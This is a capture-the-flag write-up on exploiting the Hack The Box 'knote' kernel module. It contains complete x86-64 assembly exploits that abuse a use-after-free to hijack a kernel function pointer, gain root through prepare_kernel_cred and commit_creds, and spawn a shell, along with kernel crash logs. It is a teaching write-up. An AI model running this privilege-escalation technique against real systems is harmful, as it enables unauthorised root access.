Hack The Box - knote

A gentle intro to Linux kernel exploitation
2025-11-25

Introduction

It's been a while since I did a challenge that I found interesting and fun enough to write up, but this one definitely had me hooked. I learnt a lot while solving this challenge. I think technically it is very simple, but there are lots of pieces that were entirely unfamiliar to me.

The files you get as part of the download are pretty simple, you get a C source file for a kernel module, the compiled kernel module, the Linux image and root filesystem. There is also an example QEMU command line provided to run the system locally, presumably the same way as it would be run when you start the instance on HTB.

The kernel module is very small and simple, so there's not a lot to pick over in order to find the vulnerable code. It registers a new character device /dev/knote and implements some ioctl requests to interact with the device and the kernel module.

It provides a way to manage "notes" in kernel space, up to 10 short data entries (max 32 bytes each), and optionally encrypt or decrypt them using a toy cipher.

The options we have are listed by the knote_ioctl_cmd enumeration:

enum knote_ioctl_cmd {
  KNOTE_CREATE = 0x1337,
  KNOTE_DELETE = 0x1338,
  KNOTE_READ = 0x1339,
  KNOTE_ENCRYPT = 0x133a,
  KNOTE_DECRYPT = 0x133b
};

The way notes are stored in kernel memory is also interesting, as there are function pointers used for the encryption and decryption functions:

struct knote {
  char *data;
  size_t len;
  void (*encrypt_func)(char *, size_t);
  void (*decrypt_func)(char *, size_t);
};

From this small amount of information it seems a sensible target would be to gain control of one of these function pointers and use that to get arbitrary code execution in kernel mode.

Reading the implementation of the various operations, the implementation of the "create" operation stands out as having quite a few potential issues:

  case KNOTE_CREATE:
    if (ku.len > 0x20 || ku.idx >= 10)
      return -EINVAL;
    char *data = kmalloc(ku.len, GFP_KERNEL);
    knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
    if (data == NULL || knotes[ku.idx] == NULL) {
      mutex_unlock(&knote_ioctl_lock);
      return -ENOMEM;
    }

    knotes[ku.idx]->data = data;
    knotes[ku.idx]->len = ku.len;
    if (copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
      kfree(knotes[ku.idx]->data);
      kfree(knotes[ku.idx]);
      mutex_unlock(&knote_ioctl_lock);
      return -EFAULT;
    }
    knotes[ku.idx]->encrypt_func = knote_encrypt;
    knotes[ku.idx]->decrypt_func = knote_decrypt;
    break;

The following things about this code stand out to me:

The code also calls kfree on the data and note entry pointers in the same order as their allocation. Assuming the last freed chunk will be the next allocated, this could mean that after hitting this case where copy_from_user fails, the next allocated note will have its user-controlled data at the address referenced by knotes[ku.idx] here.

Debugging Setup

It was pretty helpful in developing all of this to have a debugger set up so that I could set up breakpoints in the kernel.

It's easy enough to attach GDB to QEMU - you can provide the options -gdb tcp::<port> to set up a GDB server on the specified port and -S to stop execution until the debugger has attached.

Then from GDB you just need to target the remote and set any helpful breakpoints.

An example command line I would use to start GDB with a breakpoint set (and assembly and registers in a windowed view):

gdb -ex 'target remote localhost:9999' -ex 'lay asm' -ex 'lay reg' -ex 'b *0x4010e1'

Getting Control of Code Execution

As mentioned earlier, it seems that creating an note entry where we hit the case that copy_from_user fails, followed by creating a valid note, would allow as to control the function pointers for the first note. Luckily, making copy_from_user fail is trivial - we just need to provide an invalid pointer for the data argument in the user-space struct used for the argument in the ioctl requests.

The user-space struct we use, looks like this:

struct knote_user {
  unsigned long idx;
  char *data;
  size_t len;
};

So what we need is the following:

I decided to write my solution to this challenge in assembly. It seemed a fairly natural choice - I wanted a small executable, ideally with no runtime dependencies, and I would need to call some specific ioctl requests, so I would need a relatively low-level language. I would also need to execute my code on a remote server, usually with a pretty flaky interface, and the act of transferring a file there could be its own challenge, so the smaller the better.

In general I didn't want to have to write too much extra code, so I make the program exit with the error number returned by the system call if there is an unexpected error, so I can trace the origin down to some degree at least.

I did write a hex printing function too, and kept it around until the end as I thought it would be necessary to leak some kernel addresses to get a successful exploit, but this didn't turn out to be the case. I removed all the printing code in the listings here to try to keep the code to a reasonable length.

The following code implements what is described above, in order to get control of the instruction pointer %rip, with a call to 0x4444444444444444 (controlled by the last 8 bytes of the valid note entry) by triggering decrypt_func on the note whose function pointers we overwrote.

Calling encrypt_func would be equally valid, directing to execution to 0x4343434343434343 instead of 0x4444444444444444 of course. I originally had the implementation of this the other way around (create valid note, delete valid note, create note with null data), and in this case, the offset of encrypt_func was overwritten by what looks like allocator metadata, though I still need to understand a lot of the properties of the kernel allocator.

.section .text
.global _start
_start:
  and $-0x10, %rsp
  sub $0x40, %rsp

  // %rsp => "/dev/knote"
  movq $0x6574, 0x8(%rsp)
  movq $0x6f6e6b2f7665642f, %rax
  mov %rax, (%rsp)

  // open("/dev/knote", O_RDONLY, 0)
  mov $2, %eax
  mov %rsp, %rdi
  xor %esi, %esi
  xor %edx, %edx
  syscall

  test %rax, %rax
  js .Lerror

  // %r12 = fd
  mov %rax, %r12

  mov %r12, %rdi
  mov $0, %rsi
  call create_null_data_note

  mov %r12, %rdi
  mov $1, %rsi
  call create_exploit_data_note

  mov %r12, %rdi
  mov $0, %rsi
  call call_decrypt

.Lexit:
  mov $0x3c, %eax
  xor %edi, %edi
  syscall

.Lerror:
  mov %rax, %rdi
  neg %edi
  mov $0x3c, %eax
  syscall

// %rdi = fd
// %rsi = idx
create_null_data_note:
  sub $0x20, %rsp

  // knote with:
  //    idx = %rsi
  //    data = NULL
  //    len = 0x20
  movq %rsi,      (%rsp)
  movq $0,     0x8(%rsp)
  movq $0x20, 0x10(%rsp)

  // ioctl(fd, KNOTE_CREATE, knote)
  mov $0x10, %eax
  mov $0x1337, %esi
  mov %rsp, %rdx
  syscall

  cmp $-14, %rax
  jne .Lerror

  add $0x20, %rsp
  ret

// %rdi = fd
// %rsi = idx
create_exploit_data_note:
  sub $0x40, %rsp

  // knote with:
  //    idx = %rsi
  //    data = "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD"
  //    len = 0x20
  lea 0x20(%rsp), %rax
  mov %rsi,      (%rsp)
  mov %rax,   0x8(%rsp)
  mov $0x20, 0x10(%rsp)

  mov $0x4141414141414141, %rax
  mov %rax, 0x20(%rsp)
  mov $0x4242424242424242, %rax
  mov %rax, 0x28(%rsp)
  mov $0x4343434343434343, %rax
  mov %rax, 0x30(%rsp)
  mov $0x4444444444444444, %rax
  mov %rax, 0x38(%rsp)

  // ioctl(fd, KNOTE_CREATE, knote)
  mov $0x10, %eax
  mov $0x1337, %esi
  mov %rsp, %rdx
  syscall

  test %rax, %rax
  js .Lerror

  add $0x40, %rsp
  ret

// Call decrypt_func for the given knote index
//
// %rdi = fd
// %rsi = idx
call_decrypt:
  sub $0x20, %rsp

  // knote with:
  //    idx = %rsi
  //    data = 0
  //    len = 0
  movq %rsi,   (%rsp)
  movq $0,  0x8(%rsp)
  movq $0, 0x10(%rsp)

  // ioctl(fd, KNOTE_DECRYPT, knote)
  mov $0x10, %eax
  mov $0x133b, %esi
  mov %rsp, %rdx
  syscall

  test %rax, %rax
  js .Lerror

  add $0x20, %rsp
  ret

This results in a general protection fault due a bad instruction pointer (RIP) value of 0x4444444444444444:

~ $ ./ioctl || echo $?
general protection fault: 0000 [#1] NOPTI
CPU: 0 PID: 33 Comm: ioctl Tainted: G           O      5.8.3 #1
RIP: 0010:0x4444444444444444
Code: Bad RIP value.
RSP: 0018:ffffc90000087eb8 EFLAGS: 00010282
RAX: ffff888000093c20 RBX: 000000000000133b RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000000000020 RDI: ffff888000093c40
RBP: ffffc90000087ee8 R08: 0000000000000003 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00007fff74326548
R13: 000000000000133b R14: 00007fff74326548 R15: ffff88800013fc00
FS:  0000000000000000(0000) GS:ffffffff81832000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000000000 CR3: 000000000754e000 CR4: 00000000000006b0
Call Trace:
 ? knote_ioctl+0xba/0xfc0 [knote]
 ksys_ioctl+0x71/0xb0
 __x64_sys_ioctl+0x19/0x20
 do_syscall_64+0x40/0xb0
 entry_SYSCALL_64_after_hwframe+0x44/0xa9

Finding Targets

Establishing control of the instruction pointer is only part of the challenge - we need something to execute in kernel-mode, which will actually benefit us.

I have to admit that while I was working on all of this, I hadn't really looked into what the goal of this would be. I'd just focused in on the kernel module and what sort of avenues to exploitation it might present. It turns out all we need to do is read the file /flag in the QEMU virtual machine, which is owned by root and has 0400 permissions. So it looks we just need to achieve privilege escalation so we can read that file's contents.

In order to examine the kernel being loaded into QEMU, I used the vmlinux-to-elf tool to extract an ELF binary so I could use standard readelf, objdump etc. to examine its contents, find symbol addresses, etc.

My first idea was to try to find if there were some point in setuid or the variants thereof that might allow setting the user ID after the permissions/validity checks had been passed. Reading the code for these functions, I couldn't see a way to achieve what I needed, but I did see that there were calls to commit_creds(struct cred *), which appeared to do the work that I needed.

My second idea was to try passing passing some kernel memory I have some control over to commit_creds, e.g. by allocating a knote and writing the values I would want to that. I couldn't make this work, and it wasn't obvious to me what to fix. I was getting general protection faults with very strange looking values for the instruction pointer, which didn't seem like an easy thing to debug. It may be possible to get privilege escalation this way, but I'm not sure.

It turns out there is another, much simpler, way. I ended up searching for "kernel privilege escalation" and found a blog post by Snyk referencing a real world kernel vulnerability and using it for privilege escalation.

Looking at the proof-of-concept code linked from the post, it seems I was just missing a step. First call prepare_kernel_cred to allocate a new struct cred with root privileges and return a pointer to it, then call commit_creds passing the struct cred * pointer returned by prepare_kernel_cred.

From the comments in the kernel source for prepare_kernel_cred, regarding its argument daemon:

@daemon is used to provide a base for the security record, but can be NULL. If @daemon is supplied, then the security data will be derived from that; otherwise they'll be set to 0 and no groups, full capabilities and no keys.

That seems like exactly what we want!

Now I was just left wondering how to chain those calls. I had thought that kernel- and user-space addresses would be strictly separated, and you wouldn't be able to call the user-space program code from the kernel. I thought I'd try it anyway, since it was easy and it seemed worth a shot at least. For this, I created a function as follows to be able to easily see if my code was executed or not from the kernel oops message:

privesc:
  mov $0xdeadc0de, %rax
  call *%rax

Then targeting this function with the decrypt_func pointer of a knote, I was surprised to find the page fault occurred on my call *%rax not on trying to execute user-space code:

~ $ ./ioctl
BUG: unable to handle page fault for address: ffffffffdeadc0de
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0010) - not-present page
PGD 181d067 P4D 181d067 PUD 181f067 PMD 0
Oops: 0010 [#1] NOPTI
CPU: 0 PID: 33 Comm: ioctl Tainted: G           O      5.8.3 #1
RIP: 0010:0xffffffffdeadc0de
Code: Bad RIP value.

Knowing that I can call a function in my exploit program makes a huge difference. I can just write a privesc function which is essentially the following C:

commit_creds(prepare_kernel_cred(NULL));

Solution

The following program ties everything together, it sets up a knote entry with a decrypt_func pointer targeting the privesc function in our exploit code, then uses execve to get a root shell.

There's quite a bit of repetition from the first program, but I just repeated the existing parts here, as I think it makes it clearer to follow:

.section .text
.global _start
_start:
  and $-0x10, %rsp
  sub $0x40, %rsp

  // %rsp => "/dev/knote"
  movq $0x6574, 0x8(%rsp)
  movq $0x6f6e6b2f7665642f, %rax
  mov %rax, (%rsp)

  // open("/dev/knote", O_RDONLY, 0)
  mov $2, %eax
  mov %rsp, %rdi
  xor %esi, %esi
  xor %edx, %edx
  syscall

  test %rax, %rax
  js .Lerror

  // %r12 = fd
  mov %rax, %r12

  // Create a knote with an invalid data
  // pointer to leave the freed knote chunk
  // referenced in the knotes array
  mov %r12, %rdi
  mov $0, %rsi
  call create_null_data_note

  // Create a knote with a malicious function
  // pointer at the offset of decrypt_func in
  // the knote kernel-space struct.
  // This overwrites the decrypt_func for the
  // first knote created above with index 0.
  mov %r12, %rdi
  mov $1, %rsi
  call create_exploit_data_note

  // Trigger our privilege escalation code via
  // KNOTE_DECRYPT on knote with index 0
  mov %r12, %rdi
  mov $0, %rsi
  call call_decrypt

  // Set up for calling:
  // execve("/bin/sh",{"/bin/sh",NULL},{NULL})
  //
  // %rsp      = "/bin/sh\0"
  // %rsp+0x08 = 0
  // %rsp+0x10 = %rsp
  mov $0x68732f6e69622f, %rax
  mov %rax, (%rsp)
  movq $0, 0x8(%rsp)
  mov %rsp, 0x10(%rsp)

  // Call execve
  mov $0x3b, %rax
  mov %rsp, %rdi
  lea 0x10(%rsp), %rsi
  lea 0x8(%rsp), %rdx
  syscall

  test %eax, %eax
  js .Lerror

.Lexit:
  mov $0x3c, %eax
  xor %edi, %edi
  syscall

.Lerror:
  mov %rax, %rdi
  neg %edi
  mov $0x3c, %eax
  syscall

// Create a knote with an invalid data pointer
// set to NULL to trigger the bug in the 
// implementation of the KNOTE_CREATE ioctl call
//
// %rdi = fd
// %rsi = idx
create_null_data_note:
  sub $0x20, %rsp

  // knote with:
  //    idx = %rsi
  //    data = NULL
  //    len = 0x20
  movq %rsi,      (%rsp)
  movq $0,     0x8(%rsp)
  movq $0x20, 0x10(%rsp)

  // ioctl(fd, KNOTE_CREATE, knote)
  mov $0x10, %eax
  mov $0x1337, %esi
  mov %rsp, %rdx
  syscall

  cmp $-14, %rax
  jne .Lerror

  add $0x20, %rsp
  ret

// Create a knote, placing a target function
// pointer at the offset of decrypt_func
//
// %rdi = fd
// %rsi = idx
create_exploit_data_note:
  sub $0x40, %rsp

  // knote with:
  //    idx = %rsi
  //    data = <0x00> (* 0x18) + <&privesc>
  //    len = 0x20
  lea 0x20(%rsp), %rax
  movq %rsi,      (%rsp)
  movq %rax,   0x8(%rsp)
  movq $0x20, 0x10(%rsp)

  movq $0, 0x20(%rsp)
  movq $0, 0x28(%rsp)
  movq $0, 0x30(%rsp)
  // Target %rip = privesc in this executable
  leaq privesc, %rax
  movq %rax, 0x38(%rsp)

  // ioctl(fd, KNOTE_CREATE, knote)
  mov $0x10, %eax
  mov $0x1337, %esi
  mov %rsp, %rdx
  syscall

  test %rax, %rax
  js .Lerror

  add $0x40, %rsp
  ret

// Call decrypt_func for the given knote index
//
// %rdi = fd
// %rsi = idx
call_decrypt:
  sub $0x20, %rsp

  // knote with:
  //    idx = %rsi
  //    data = 0
  //    len = 0
  movq %rsi,   (%rsp)
  movq $0,  0x8(%rsp)
  movq $0, 0x10(%rsp)

  // ioctl(fd, KNOTE_DECRYPT, knote)
  mov $0x10, %eax
  mov $0x133b, %esi
  mov %rsp, %rdx
  syscall

  test %rax, %rax
  js .Lerror

  add $0x20, %rsp
  ret

// privesc is a very basic function - it calls
// two kernel functions:
// - prepare_kernel_cred to prepare a new struct
//   cred as root
// - commit_creds to update the current tasks
//   credentials to the root creds
privesc:
  // prepare_kernel_cred
  mov $0xffffffff81053c50, %rax
  xor %rdi, %rdi
  call *%rax

  // commit_creds
  mov %rax, %rdi
  mov $0xffffffff81053a30, %rax
  call *%rax

  xor %rax, %rax
  ret